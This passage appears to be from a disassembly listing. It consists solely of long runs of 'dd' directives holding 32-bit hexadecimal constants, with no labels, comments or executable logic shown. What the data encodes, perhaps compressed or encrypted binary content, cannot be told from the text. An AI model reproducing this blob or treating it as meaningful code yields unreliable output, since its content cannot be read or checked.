		dd 490C00A2h, 0ADD1A4B8h, 7F00766Ch, 68F97AAAh,	3822E4CBh
		dd 740008EBh, 3B136A0Fh, 0CD0F1A14h, 40DEB128h,	4C78D82Ah
		dd 0D3A00169h, 82654255h, 0ADF3C87Ah, 23B20F07h, 0A9303852h
		dd 1A6E736h, 19178583h,	0F8269928h, 4A3E0EF2h, 0D325803Fh
		dd 40A784CBh, 6E00002h,	2DFFAAF6h, 347AF305h, 0EE0F9400h
		dd 21D552EAh, 0E4C0A0B0h, 5AB3106Ch, 61AE1CF9h,	2233E0C0h
		dd 44D0AFh, 0D87BCAF3h,	0ED6B65CEh, 5C3C9F00h, 621B13F9h
		dd 0C17E7Eh, 8F8B484Fh,	8055DDC8h, 37ECB300h, 693B60F0h
		dd 2F188084h, 58F54Dh, 1E70C0FBh, 0F04E8911h, 0EE4A004Bh
		dd 71ABB2Ch, 0B800738Eh, 0ACDAEA14h, 98FC9733h,	0C3E30030h
		dd 8167D136h, 3501ABF3h, 4ABE2637h, 0D0C332E8h,	0B0E2719h
		dd 0D276C29Dh, 29965C00h, 9C1E74B0h, 5104DFDDh,	0E4C04134h
		dd 1E2B1Ch, 6554615Eh, 0B33D9627h, 0AB7FC200h, 7A59FC3h
		dd 1E62EE3Ah, 0C0ADFD21h
		dd 723CD50Ah, 0E0192D1h, 8332899h, 7CF475BFh, 6CCA0046h
		dd 0E4B4B03Ch, 200C8027h, 78D4471Fh, 5BB720E0h,	0E8FD65FAh
		dd 7E003B33h, 0FB64F99Fh, 2DDA02h, 0EF16C6A5h, 608C6F65h
		dd 7C6D5C00h, 1A31218Fh, 77BF1FA6h, 7DA140B2h, 60D63EE9h
		dd 0FDA5B400h, 0BC657F25h, 8B2900E4h, 0AA65F10h, 0D70082F7h
		dd 1A36D92Eh, 13AA89EBh, 37C34Dh, 0BBBE41C4h, 0CB00477Bh
		dd 4514868h, 21A2EB3h, 8F44258Ch, 90C0BD5Ch, 0CD0087CAh
		dd 86234BBEh, 180CE4B5h, 59DA58D5h, 0E300F8DBh,	6CD36E84h
		dd 9E9BF2Dh, 0E5AD0938h, 1FD8D480h, 48001173h, 39C747E8h
		dd 58D18BEh, 7DE95121h,	6689017h, 91398A28h, 54598142h
		dd 3265C6Ch, 0F62CCCh, 8FBECEF9h, 4E323F6Eh, 9D0FD498h
		dd 0FB26C8h, 0A7858D0h,	0A8DE5D3Ch, 9FD15403h, 11003ABFh
		dd 4C4537DFh, 29F65521h, 1B82E0Bh, 0C0C87B62h, 188C7491h
		dd 3304520Bh, 0CF687E8h, 2CD0ECC0h, 9C4401D3h, 0C094C83Bh
		dd 0B0C84046h, 0B1008DD7h, 28626369h, 2CFE537h,	0B6050EC1h
		dd 46115BEh, 0EAADF066h, 0C0E0C600h, 7F4BE883h,	600A0070h
		dd 0D5F1979Fh, 0A40B4696h, 8F1923BAh, 433C008h,	906874h
		dd 0A73EC08Eh, 1DFBCBE7h, 871626E0h, 20005C80h,	4D1E9D12h
		dd 0A94E03E8h, 8B1AAC57h, 0E6F88AA9h, 0AA7849h,	24882AFFh
		dd 1E60052Fh, 829D80A5h, 94375A3h, 48EE460Fh, 0A18467F5h
		dd 0ADA2C80h, 0F72100AAh, 470F4F90h, 8700D119h,	15D32B7Bh
		dd 5C24B862h, 7800B93Bh, 86E892E2h, 99FE1CCDh, 0FEF63Bh
		dd 7136450Ah, 2D4B160h,	479D41A0h, 0B61D5C8h, 56F7D0A2h
		dd 515D1F03h, 27573h, 893EF0B0h, 0DFAF2B85h, 5F3D648h
		dd 0F426A1BEh, 0D800B016h, 0F0ABF820h, 0F32A00DFh, 4A6EB74Bh
		dd 0B40B9BDBh, 0D39892h, 49E4CAD7h, 6069582Dh, 0E210C430h
		dd 80393BAAh, 0EAD4006Fh, 0EE73125Bh, 99C9126Eh, 8F044244h
		dd 9050CB55h, 79A76Eh, 5E89090Dh, 4DEEED6h, 0B8C24FCAh
		dd 0A6B68175h, 9880F07Dh, 3468F401h, 6C93C96Bh,	51A55180h
		dd 95468A4Fh, 5D002898h, 0CCD8E674h, 14A099Eh, 28A035AAh
		dd 603E73B8h, 170E5BE7h, 67C8AEF9h, 0C390C9EEh,	5278B4Dh
		dd 0E520388h, 76E9C073h, 0F00FFE1h, 5C2DA79Dh, 77C91944h
		dd 21610695h, 9C0DA37Ch, 5E5FE800h, 7F0B4732h, 9DA0C42Dh
		dd 0EBD340F0h, 0BE8B0Ch, 19C61F77h, 1C2BEA98h, 39C8E58h
		dd 0BACE623Dh, 0C98DC8C2h, 7DF8047Eh, 0A1595A4Ah, 1B8BF4D4h
		dd 0F6F4683Eh, 0D9C698A0h, 5A00EC7Fh, 0DD998E78h, 0CECA39h
		dd 36178823h, 50570C7Ah, 461E70B8h, 99C0471Ah, 13542570h
		dd 48E0082h, 0E1804526h, 0C300ECD0h, 3E1714EAh,	775FFCBh
		dd 0A3B7B612h, 0B2664029h, 0AEFAA268h, 9100D5B8h, 57EA3C9Dh
		dd 26EB40DFh, 2088F5h, 45CA9F7Bh, 9000FE1h, 0D8E4DB3h
		dd 7EC0B46h, 2AD5E336h,	3BA2F078h, 9B078956h, 0A10F302Eh
		dd 0E3E964D0h, 10CA0453h, 0C0CD3168h, 309F462Fh, 7F4C7900h
		dd 33F31E0Ch, 108F0185h, 6018B9DAh, 1660C2B2h, 0E9006DE2h
		dd 0BD64DF86h, 2E9F3Ch,	62AE391Dh, 4BECEABAh, 0C1433200h
		dd 0D023F5Dh, 6ACB0092h, 238D73DDh, 6B00FD9Ch, 494E54F0h
		dd 360346h, 8C5051CAh, 0BA2D693Dh, 0FCF9DE1Dh, 74727D80h
		dd 3217BFh, 4C332946h, 524A30D9h, 5375FE03h, 4D8E0Dh, 0B0FCD648h
		dd 5A4BA132h, 0E1A94001h, 26BF653Ch, 0A0D834h, 80F6A257h
		dd 90BCDFACh, 0D2266773h, 7681B02Bh, 0E0D5968Bh, 1B55D4h
		dd 1D148650h, 8F54DD8Ah, 0B4C60A00h, 0D3E3F4FDh, 5F590041h
		dd 36305215h, 2489263h,	7C9B00EEh, 55588745h, 33FA003Ah
		dd 7A4C0D27h, 0AC00743Dh, 0EE6C7C1Ch, 0C0C64EB0h, 95B96A78h
		dd 5E38032Bh, 32E1002Eh, 76DB5F05h, 0E98A01FAh,	6F0C25DFh
		dd 5508DC10h, 0E824C0E4h, 0FD0074C5h, 17633B5Bh, 12AEE3Dh
		dd 2DF17EEEh, 0D0439354h, 28C0A592h, 42B9AF86h,	2E7A0017h
		dd 90622CCDh, 9E12C881h, 94039D9Bh, 0D30D4641h,	0DECDE174h
		dd 3D2A5870h, 38004862h, 712D4DBFh, 0BA03E26Fh,	0D828293Ch
		dd 0F35DE864h, 86B10069h, 0A3FF81F9h, 0E61D70D5h, 0ED01777Eh
		dd 698A11FEh, 0B0DDF7CCh, 4D990742h, 60C00AC2h,	29131D26h
		dd 74AC5800h, 1B7B3AE7h, 976700CFh, 7FE6515Eh, 2800BCC1h
		dd 2231AB5Ch, 409C10h, 5387DFEFh, 32EE01D4h, 3FEAE604h
		dd 0C0C25C5Ah, 2618C6B2h, 14C3081h, 78AA502Dh, 32506066h
		dd 0A5A37B00h, 1F3AADD1h, 766C00B4h, 7E0C5A5Dh,	0E824E350h
		dd 8300ED63h, 0CF110904h, 32981DB6h, 75EA4F21h,	232D1320h
		dd 3400862Bh, 0DC1B4C8h, 0FEB1DECEh, 22170085h,	819D7170h
		dd 8600CAA5h, 0E283EFAh, 7F9F257Fh, 6154029Bh, 938A913Bh
		dd 0A81E1CC8h, 0CB75DD00h, 92830A26h, 0C2530147h, 0A23AEF17h
		dd 0EC2970FBh, 0E7B3DA00h, 82E39312h, 94AD003Fh, 19FA8340h
		dd 7E00B8EDh, 6807DB3Ah, 132EF267h, 1FC51B1Eh, 0A6C000E8h
		dd 0A815998Dh, 4600E7E2h, 0EC9CA319h, 0F0F7005h, 0AADFFC6h
		dd 6217F980h, 515C7DFDh, 74760018h, 0F0BA8892h,	67350047h
		dd 2234668Ch, 290E2336h, 0F34EBEB7h, 0D40DA840h, 3BBA05Fh
		dd 6FED7E01h, 480253D5h, 8F71CB84h, 0D19EC038h,	0F2D81E41h
		dd 0D4FDC0EDh, 7CD94C1h, 0A859700h, 593C7880h, 6E380F32h
		dd 0B24088A2h, 0E5EA1223h, 0F5503709h, 1D9E03C8h, 32A5D080h
		dd 7132CC9h, 2025960Ch,	2496E100h, 2D225200h, 6BBE7CA4h
		dd 0C9F48EFh, 86F59100h, 0FA248BD7h, 16E5FF18h,	16335C58h
		dd 802B89E3h, 92EB5D08h, 2DF6C20Eh, 858C40CEh, 69DD0DEh
		dd 0BE099071h, 0B3007917h, 7E6F9152h, 928C59Ch,	48A6151Bh
		dd 8FA7C483h, 94A013DAh, 91B7C4FCh, 2903ACB2h, 73569BA8h
		dd 0FF169806h, 327400CCh, 0EE6172C5h, 0D4249E11h, 0D201EC2Fh
		dd 0E1FC70C3h, 0E274880h, 0D97CF97Eh, 0FE64C00h, 0EF811CA8h
		dd 0EEEC7D8Fh, 656C00A1h, 0A414B99Dh, 602D5DDh,	8915DA23h
		dd 838080CBh, 930CFCh, 280E2633h, 0D321D931h, 7C741B01h
		dd 0D4999F39h, 2EC360h,	0F47DD726h, 2EC2DFCh, 0C8443Eh
		dd 8748AADBh, 3E4D831Ch, 0F700EBDFh, 2FEA519Eh,	0E2EEAF2Dh
		dd 0A5E6B00h, 0A9E11C3Fh, 0D24F01CBh, 0FD5AF175h, 0D019D5CAh
		dd 0EBFE5E57h, 0BF1A6800h, 69E2F49Fh, 7BB04Fh, 0F5150160h
		dd 0E05A460Eh, 6C33FC00h, 3C23DBB2h, 0CECB0087h, 45044B08h
		dd 9C5C4817h, 432C0034h, 0A9D935Ah, 58A9002Fh, 4753B116h
		dd 4D0581C4h, 171C0CBh,	0CC00CC56h, 0CC8BCE72h,	1D5875DAh
		dd 0CF8CBFC1h, 2B8092F4h, 2D4E7E7Ah, 30931613h,	19F23900h
		dd 3CC0DB5h, 61C52118h,	15985036h, 0A81287F6h, 2C011953h
		dd 372D4FD7h, 108018D9h, 0F643BB6Bh, 0CA01D071h, 6EE70942h
		dd 31800C0Eh, 0E4827B12h, 0E21D35E1h, 0BC80E0A7h, 4F47AADAh
		dd 0EF7D030Ch, 0B03C306Eh, 240BB7A8h, 9E235317h, 7D8A9B03h
		dd 0C7A9A808h, 8EBB00B4h, 3AAF89A7h, 91007A16h,	45696C63h
		dd 26FABC2Bh, 0DA85AAh,	7E4F07F9h, 0B1000DDDh, 6001A7DEh
		dd 0D8E439h, 0E9D73877h, 0EEEFB6C9h, 0D14C5BEEh, 0BFCF0011h
		dd 0FD7520B9h, 15B000C8h, 4998485Dh, 13031A7Eh,	84E4E5FBh
		dd 39B6B82Bh, 37EA30B9h, 6FC73FC8h, 87C50B00h, 73DAFA44h
		dd 6926003Ah, 7E95D534h, 8AFCAB04h, 8B3F3972h, 7A48000Fh
		dd 72FEEBD9h
		dd 0EFBB0269h, 5F9C7C5Dh, 0D089DB80h, 7D00E7B7h, 0E304A0C4h
		dd 1C1A7959h, 9E63659Eh, 4170C057h, 4754A235h, 9CEC001h
		dd 0F3672EE8h, 0B864AADCh, 56D124E0h, 0FD0F003Dh, 0BED05005h
		dd 1FA38C3Eh, 67C0E39Fh, 1918F9BAh, 7FF50129h, 0CE2A3843h
		dd 63DF4094h, 2F009CA0h, 15720281h, 31D9AACh, 5BCA773Eh
		dd 0A1CFC371h, 0F0EEBF34h, 227AA70Fh, 7D5C5600h, 0C485C533h
		dd 0E0FC09h, 0AC0482F9h, 6DC089D9h, 804F993Ch, 48F05C2Dh
		dd 980FA9h, 55FADBCEh, 0F6B02801h, 91D71100h, 0B8A4C5CBh
		dd 0F8DE48B5h, 1701E3Fh, 0DA3F369h, 0E8FEB43Eh,	0E200FB33h
		dd 0E363C001h, 0EA9625F6h, 0FD7A51h, 0AA364F3Fh, 0F9C68BD3h
		dd 0BCAC6F00h, 1CA50EEDh, 730900B1h, 5F9058CFh,	5200448Eh
		dd 16D262E3h, 77920DD8h, 0CD7BD6h, 13885896h, 0DF4F1E55h
		dd 20C0DEEAh, 8BB99FC6h, 68536049h, 961ED247h, 7201C078h
		dd 9E73A32Fh, 889E9ABBh, 2510F12Dh, 0C06B13B5h,	7F0BF0h
		dd 19553AF3h, 0FD33A156h, 91EF5C16h, 0C8E7300h,	732BBCh
		dd 0B75B0317h, 82D4438Fh, 80C6B63Ah, 0D1E8EE72h, 758428A9h
		dd 3F270057h, 8E168B9Bh, 0B603830Eh, 9612D2ACh,	3300FBCh
		dd 506E36BEh, 0C40090F5h, 4B135316h, 83038A73h,	7B2FDC1Bh
		dd 0ADEEC0D7h, 523800CFh, 170E0297h, 12001E8Ch,	0BB561040h
		dd 9CCA44h, 0EA966DDDh,	0A67174B5h, 0F19F7500h,	9E8AB8D9h
		dd 1E5CFAD2h, 0F0E929h,	38E6D126h, 0DC00D402h, 0E086FA6Ch
		dd 426FA4h, 0F12D9380h,	6BCC318h, 883E2C07h, 0FB401E62h
		dd 1D71454Bh, 0C7980C5h, 35C14182h, 22002998h, 0DC2B1D9Ch
		dd 61F20DC9h, 2F3B160Bh, 78299444h, 0CD020999h,	0FE00025h
		dd 2AA99665h, 26E055F9h, 80505234h, 98EA42A4h, 78608D0Fh
		dd 0C11DF041h, 41E1002Eh, 0B6D8529Fh, 0DA04E475h, 0BC0AAFA1h
		dd 0C653BC80h, 3FE004Bh, 0D9285F09h, 1300CC51h,	36F36272h
		dd 0A03DD0ABh, 19BDAC0h, 37C6208Eh, 0EC847EF2h,	0BC03F688h
		dd 0E795C03Fh, 0C68DC8ACh, 0A2560698h, 0A137DE78h, 14002DF2h
		dd 7AF9FCCDh, 37153E6Fh, 52C94C5Eh, 60FB6D2h, 0C1748Dh
		dd 0E0461941h, 0A3511F8Bh, 5A9F4407h, 0BF809131h, 1975B8D1h
		dd 31728D73h, 0EBDAC45Dh, 238BBC1Fh, 300EBB00h,	31F47Bh
		dd 0D04BC42Ch, 0F6032A39h, 17075000h, 5136CE54h, 0B9A93ABBh
		dd 0DCCD2500h, 571BE8F7h, 0C849BD06h, 60088D3Fh, 0BFFE2105h
		dd 4000FCE8h, 7DF18CEBh, 1950F2A0h, 5152AB5Ah, 0E8FC19BCh
		dd 0D5571026h, 8903C848h, 8880BA15h, 0F8BD3ABFh, 63D5B200h
		dd 0FEDE2846h, 0A8EF3F68h, 4C508E80h, 55EBAF6Dh, 0BCCCD401h
		dd 0EE04E608h, 7F941041h, 0BC755906h, 3567E001h, 0D9181E52h
		dd 0BDC12880h, 0B7CAEFFBh, 0CCD34B18h, 80E7FF10h, 0B6018DF0h
		dd 0EEDF369Ch, 98E401C8h, 778900C1h, 28DAFB55h,	0F6017374h
		dd 389EA541h, 0B8801434h, 3710C2D7h, 0EC4BFDADh, 0FEAA1BF0h
		dd 0F8E0011h, 0C2FA61C0h, 981D6CFFh, 0DA072DF3h, 0ACF06A50h
		dd 0C4B2963h, 0F944BA7Dh, 3900AE52h, 93DE9998h,	402560h
		dd 0ADB2C742h, 5BF154D6h, 7B1B6400h, 94EABE77h,	0B46B1D7Dh
		dd 0D1C0402Ah, 0E01A5040h, 10396207h, 128063D7h, 27FE9h
		dd 15489B21h, 270AE082h, 65B6A807h, 0BCF0C839h,	644B1253h
		dd 21542981h, 0DC12AEAAh, 2E22D213h, 0CD841A08h, 3008B15Ah
		dd 22262142h, 9D2214CCh, 7E442281h, 0DD75600Eh,	1FE9AB8h
		dd 0A9100F18h, 0CCC0DF4Ah, 30002E38h, 0BDC2EBCEh, 94E508h
		dd 0EA18E40Ch, 0BC4C63BEh, 0DCD938h, 0C88F4F55h, 0EEEE25Ah
		dd 680A7B83h, 3B20B60Fh, 3194C656h, 84C251Fh, 9E571880h
		dd 0E42E5D44h, 428728E9h, 0FBF00FA1h, 0B200EA3Dh, 0F822627h
		dd 4C16A500h, 908563DEh, 0DCEE19h, 0F3F92150h, 0E32B8B1Ah
		dd 0E44CDF00h, 2341D9A3h, 0EC1E0117h, 0EEC6EDF1h, 0B899F024h
		dd 0FA18C000h, 0A46042E8h, 0EC441F09h, 2A04C0B6h, 0FE6140E9h
		dd 1F46DD14h, 13B01EE0h, 855488C0h, 7C608Dh, 52AA06B9h
		dd 0FA7D59FFh, 0EF042A0Fh, 0D43C406Ah, 0E8D45FDh, 0E7B066BCh
		dd 353ADC0h, 6C1EAF14h,	7AC1CF67h, 72D3A6DFh, 75509E60h
		dd 65AA00DBh, 55A50746h, 7507864Eh, 3CE98120h, 0AAF4D690h
		dd 0ECB1006Eh, 0F7718277h, 0B00EBB0h, 76CB45ABh, 2AEA4Dh
		dd 847AE6B8h, 0E0A9E95Ch, 82B2EC00h, 0A84CBE86h, 5981015Fh
		dd 5E89B76h, 0B597FF7Ah, 13A4003Ah, 92673518h, 1848700h
		dd 6082D8F1h, 0ED863EE9h, 0D7F20484h, 0ADC980C9h, 3B009BC2h
		dd 32DA01Eh, 6C192Fh, 0C52C8DF8h, 91E12928h, 0B61CE00h
		dd 0BC3AEE9Bh, 382FFCF6h, 7D0014BAh, 678E9A5Dh,	0A30431F5h
		dd 2CCFB398h, 0B759880h, 0F2460795h, 1FADEA66h,	1CE0BBEEh
		dd 0CC4D05CAh, 0F8006DB8h, 1A913A1Bh, 0E57BA8h,	0BE533C90h
		dd 4DC3E337h, 74076577h, 58E861FAh, 0A0EC4743h,	67D3A52h
		dd 0DC1228E6h, 5E00F85Ch, 23324E0Fh, 14878Ah, 0C5E430CCh
		dd 0CDCF593Ch, 4C8C7424h, 84D2F787h, 293053B0h,	85075C1Dh
		dd 4B46B201h, 20CA699Ch, 3A00B638h, 2C50B59Eh, 3C20A70h
		dd 6ECDD8B3h, 809F7D9Bh, 5176C3F0h, 8718F807h, 0ACA03910h
		dd 9EFD236h, 7030AD4Dh,	0CF054002h, 9C903824h, 0DFFA7Bh
		dd 21301CBDh, 0DD161E19h, 0ACA8A03h, 0E0E1BB0Bh, 0BD8857h
		dd 0EDF6D442h, 8B1F5539h, 5F026A00h, 0EA5727ACh, 0EC3F398Dh
		dd 0A2E6F00h, 526C9A5Ch, 0D3DDCC00h, 0F9E36527h, 56040610h
		dd 0C8F6E2D6h, 1E098400h, 0D8224799h, 5EA0032Fh, 29354883h
		dd 65734688h, 950070FCh, 1D9D1B4Dh, 7B5F4CCDh, 27AE006Dh
		dd 0B932A3EAh, 8603F4B1h, 0FE494613h, 8CC0E483h, 9F6A30AAh
		dd 121C18E0h, 0F844C05h, 0EC80FC60h, 1FA56C32h,	40FE86B0h
		dd 8B4B5101h, 0FD05A0D4h, 68784817h, 99107DC0h,	16843A31h
		dd 882293h, 7564443Ch, 0C27A1402h, 11B1E700h, 0EFD56FA2h
		dd 86A000F1h, 9E0B4147h, 0D000D824h, 837944D9h,	4392A3h
		dd 21E1AB15h, 4B741705h, 910F06C0h, 489ECBBAh, 8507FC29h
		dd 8519697Ch, 86AC006Fh, 0A8D541B8h, 0CBA35C1Eh, 0C7CD1931h
		dd 354DCECh, 3AC1AECAh,	0AFC08EEBh, 0FE0A46E6h,	0F826AD9Eh
		dd 38E6771Dh, 4872F442h, 55B3E40h, 1EB027F8h, 1CE80108h
		dd 0D85ED8D6h, 1B0353F5h, 8C3B4C14h, 0D87AAB41h, 7F0D2Fh
		dd 8DCB4FB2h, 1F2E9509h, 0FC1DDCEDh, 2AECA550h,	5581D702h
		dd 0C05A618Fh, 833C58h,	7E67590Bh, 1B92A679h, 6FE65206h
		dd 3781F4Ah, 0FEAC2588h, 14802A5Bh, 5E035486h, 847CAB7Bh
		dd 0DB582C33h, 4A370285h, 0C1DF7ABAh, 60BF557Ah, 0D1278480h
		dd 8AF0F1D6h, 7D2E6A3Bh, 93D98C01h, 3397E7A7h, 6BF1A8DFh
		dd 465F0BEDh, 0E574423h, 4B2F40E7h, 19C296h, 1BE3BE32h
		dd 4EA931D0h, 0FAC69E00h, 6E59E176h, 0F1D400BDh, 4B8BC821h
		dd 2400D0D9h, 0D345347h, 3C692022h, 8007BA6h, 48F58E45h
		dd 837ED0DEh, 2C48D478h, 83953E44h, 450E9D3Ah, 0C9648802h
		dd 150B0096h, 0C28786A9h, 35023AC5h, 0A459E232h, 99E08017h
		dd 25921Ch, 584CBB3Bh, 8BBF3081h, 6F005675h, 0D8CAA178h
		dd 7F4D5B2Ch, 0CC8A3AC0h, 855F3580h, 0A5F2EAB9h, 14E242EAh
		dd 0C544FC0Fh, 2F08C374h, 1629A068h, 20E0FB9Ch,	86F824C3h
		dd 3550005Fh, 0FE454F6Ch, 0B7842100h, 68B18DA2h, 393B09E7h
		dd 88007EBEh, 650B0547h
		dd 0FA56C806h, 358AC84h, 9C194985h, 3BF0E7C2h, 0A82CC786h
		dd 94073FA0h, 7E40C4E6h, 405C80h, 0F4539C9Bh, 0D8238B95h
		dd 0F00B8807h, 1AD01833h, 0F130F690h, 14EE70h, 0E926AEBBh
		dd 8D2AADF9h, 115A5E00h, 0CDEAC1FAh, 0C6F41FEEh, 769D4063h
		dd 0CDA850Fh, 5B23F001h, 0CAE88F90h, 525FAC80h,	0E959740h
		dd 0C7A4DE00h, 7D773444h, 98C20106h, 242B52E3h,	60DBFC0Ch
		dd 34A2AF00h, 0B3ED0E50h, 99515CBEh, 4D27A400h,	6FA9774Ah
		dd 9BCF1900h, 977895DEh, 6C4E0F14h, 0D3C0B4E6h,	7338E582h
		dd 85D08400h, 0E325D846h, 7B780CF5h, 0EE1872E6h, 93516501h
		dd 0C658E549h, 4687D0FBh, 55E01F4Dh, 7BD480EBh,	0BC13AF7Ah
		dd 0A9AABB00h, 0A6EDDDBh, 18E6078Bh, 215524FFh,	0B9E016EAh
		dd 8032BF88h, 5D618A67h, 0C1F712h, 8DA704EEh, 0F018B23Eh
		dd 0A6A239h, 0FB54CF31h, 0F24764EAh, 139BEA2Ch,	3C8213h
		dd 16743275h, 2B02123Bh, 3E0EB21Eh, 614141F3h, 0FFF22E0h
		dd 0B06C36CFh, 17B37940h, 0B500C79Ch, 19CAEE70h, 52B96h
		dd 6B09BE3Dh, 1DE022D6h, 0B600C9E0h, 0E7170BCh,	0AD7CED5h
		dd 0F8F54063h, 43B20090h, 2AF9BD36h, 0A71C1603h, 0D088F37Dh
		dd 0C6819Ch, 660395Dh, 79CCD90Dh, 0BD4CD07h, 808AF902h
		dd 0C41BC30Ah, 7A87DD80h, 2416FD75h, 2079E3BFh,	5EAC00F4h
		dd 2819A176h, 825C4101h, 34850076h, 6F035127h, 0D0435016h
		dd 0FB471E4h, 0C918606Dh, 0F5F90860h, 1E396CF7h, 55007FD1h
		dd 0BD447897h, 60A8B2E6h, 81F2381Bh, 0E53A1C34h, 942918B8h
		dd 5DF83E8h, 95D4CAC6h,	2FA40042h, 664E9B74h, 0C7450300h
		dd 0A5BF2E0Eh, 28F603CAh, 8C2724E4h, 0B78070ABh, 0C6000722h
		dd 152502Dh, 1F355DAh, 4253DC5Dh, 80C2CE96h, 0C051CD40h
		dd 0C010714Ch, 0B6181239h, 2A003491h, 9DF4738Eh, 0E61D26A1h
		dd 2E6C0005h, 70F9CAAEh, 57051E13h, 20716AC4h, 9D00B9ECh
		dd 467F5069h, 130A77B6h, 0BCCB944Eh, 0AFFE3C00h, 575319h
		dd 0E9F4C71Ah, 3B6E36CCh, 99E7BA1Eh, 8B54ED80h,	5FF82h
		dd 747295C2h, 1D661A64h, 0BBAD9F0Fh, 0A1FEA0C5h, 26F89C3h
		dd 29C4DE33h, 0A8402082h, 0E100317Fh, 10061F02h, 74ABE3Bh
		dd 0B6D46F9Ah, 66FB0003h, 7E0089B7h, 0FD8DB075h, 3C2DC07h
		dd 4C116FD3h, 27D01B65h, 0A2B04F95h, 318CA600h,	30345121h
		dd 24907Eh, 0F7540402h,	6645B712h, 92EEEC0Ah, 6500D4CBh
		dd 7A2BC61Eh, 37EA24ABh, 441180E8h, 9B547F7Dh, 45A358h
		dd 0DEBADB05h, 0F0B30F10h, 63ED0CE4h, 0FC49AFD3h, 1875209h
		dd 0D9420A2h, 0F2C3E4Fh, 23E2AE68h, 2EEF19B8h, 0A7F16705h
		dd 0E800DC65h, 0C7A519D6h, 0FC02030Ah, 24A1A97Dh, 7822B4E8h
		dd 0F4305C00h, 68D037C5h, 165E001Ah, 73B832C1h,	260351E7h
		dd 9776C36Bh, 78C7888Eh, 105500CDh, 0F0E62A9Fh,	481FC25Bh
		dd 0E88E4D67h, 1E4484AFh, 2F6C1C90h, 87E5007Fh,	2C10A772h
		dd 0DA14E88Ah, 0EBBB18Fh, 774B3928h, 80528200h,	0F1E2F57h
		dd 7BF4CBA5h, 32FA7600h, 9800B96Fh, 0AED66831h,	9FE3B5Eh
		dd 0DAC450D4h, 0C80DD800h, 0E370E446h, 12C7EE00h, 48EF408h
		dd 0CCE729A8h, 18F81DC0h, 159C986Fh, 81BABE3Ah,	869D7719h
		dd 0C04004FDh, 39E2B2B8h, 1B806841h, 0D525A54Ch, 0BC0774E3h
		dd 0D3051DC9h, 0A92CB620h, 0CE630AECh, 0D0CC3Fh, 0E6AD5255h
		dd 0AC004483h, 0B0E50B75h, 2F3C51h, 1F97B113h, 0B3B27A9Eh
		dd 0D10B257Fh, 80E977F5h, 8CBFD044h, 0FD2F0076h, 0DCF826FCh
		dd 0D500E124h, 893244DBh, 0A2CB36h, 69BD056Dh, 8DB4262Ch
		dd 0BA00457Ch, 7217C70Ah, 387166E5h, 7780785Bh,	5434F475h
		dd 0F7021C76h, 6EB21947h, 0B0686086h, 43170CDEh, 6F184666h
		dd 0C8B17200h, 0ED93C6F7h, 81F4009Eh, 5D4A9AE7h, 1F602957h
		dd 0A24E2F28h, 0A082B083h, 664904h, 0EE1BCCBAh,	0ECE8C193h
		dd 804C333Fh, 59F0DE9Ah, 28B52657h, 0BDCA81h, 547578F6h
		dd 0DD439A94h, 0E20D2F03h, 7A0841Eh, 0BD386560h, 0F09C87B7h
		dd 0DEF24257h, 410054FCh, 69C31DD1h, 3DE47913h,	0A9812188h
		dd 455BCABh, 0AE908396h, 81F8C007h, 0D6C1D272h,	14E2F850h
		dd 857F1CD0h, 9E5CC0BFh, 3E6330C8h, 0D2DF1200h,	0F45D177Dh
		dd 3D1F02E1h, 39C2B31h,	0ADD66860h, 86AAEA0Ah, 0D200D4B5h
		dd 9894A8BEh, 0CFC50099h, 8797A659h, 624834F6h,	0FA3E75C5h
		dd 3A9E8093h, 0C947DDAAh, 0D42A3C05h, 0DEC3F503h, 0B4DB5804h
		dd 5F005079h, 45EEEBDAh, 3C7B7Dh, 0B0D7D164h, 0C8F2BA12h
		dd 5E15B0Bh, 8B83576Ah,	0B1D8E5C7h, 0C4B185B7h,	0F617C400h
		dd 2C37326h, 0DE94201Fh, 14C8A889h, 300C7BEh, 0AF6D3408h
		dd 3DB2759h, 89D5EADFh,	0FDF8384Fh, 7D7FCEFAh, 221C0A00h
		dd 79ACB1FEh, 0D42339AAh, 5A491789h, 5DE1D080h,	75CA963h
		dd 4FA207A4h, 86F03BF7h, 0F16F51h, 0E9FEFD38h, 0AECFAFE0h
		dd 0BC3A7E0Bh, 3F2C20CCh, 0B9840FD0h, 920B8000h, 0B27EFE95h
		dd 0B60068BAh, 9707C321h, 63013B66h, 240919C1h,	468081FBh
		dd 7100EBB9h, 6EF8B1D4h, 5C4ED75h, 532A793Bh, 0BD53C0A0h
		dd 0D8025DF6h, 0A1F352E0h, 0EA48688Ch, 0A1800D3h, 0B198E3DEh
		dd 6B004474h, 67571FB4h, 1A8CBCDh, 4D30F14Bh, 6061926Ah
		dd 2500B2F2h, 82CE1F65h, 12F80B76h, 1D33FFCBh, 0B5D790h
		dd 1EC49520h, 7D002CC5h, 0F5DFD7AAh, 14C9751Ch,	80C3BD6Fh
		dd 21F66E01h, 20F77EE8h, 0CF00A284h, 8B1360D8h,	0B38011h
		dd 1E67C38Eh, 0BE49E13Bh, 2A75EC00h, 0CCBB2D24h, 0DC431801h
		dd 88EBF041h, 9A35BF01h, 0FEE0950h, 8B00CFCBh, 693E97h
		dd 42BF72D4h, 0DBC0E5E0h, 5009092h, 0FAD1C22Ch,	0FE090D34h
		dd 748E09DDh, 9C0B088Dh, 6ADA5C02h, 0D4E11CC9h,	711E599Dh
		dd 1D00E988h, 26A54BF5h, 0C16700DFh, 40FC201h, 30C0EF43h
		dd 0BFCD4FB8h, 9DAC0048h, 3C4DE7A3h, 21C04903h,	2C7651C2h
		dd 53902831h, 5B70C8h, 0D17F0D26h, 73B5BFFBh, 28C4F49h
		dd 0B8D86E3h, 9998E0C1h, 71020092h, 931D644Ch, 35008098h
		dd 4F22D3CFh, 14FB74DEh, 0E054B985h, 841FB500h,	4C45F9B0h
		dd 0D04498A0h, 94FC3601h, 51066CE8h, 20AAFCh, 0F4884C23h
		dd 7DA31DC7h, 0E73A2204h, 0EB8756CDh, 1C2A4EB0h, 0E5B98ADh
		dd 6E8509E5h, 0C4DF6902h, 99E9BEC0h, 7E085106h,	0E062B96Bh
		dd 44AF015Ah, 0E2356EAEh, 48102077h, 28F1BA00h,	4E5F346Fh
		dd 0C7F8DCFFh, 0B07F7852h, 9F2BC3E0h, 0B4985600h, 60A9061Dh
		dd 0E18A00CDh, 91DDD40Ch, 6C005D78h, 0C3424F82h, 3E01AE65h
		dd 2600E699h, 0FDF4FC08h, 0A400755Bh, 0EF89F512h, 15E836Ch
		dd 0C8B4DC19h, 32486EFFh, 971FC2C8h, 0F525C0F4h, 124E899h
		dd 7C8CC012h, 0CCC3D931h, 1309C144h, 39F4367h, 0A1870388h
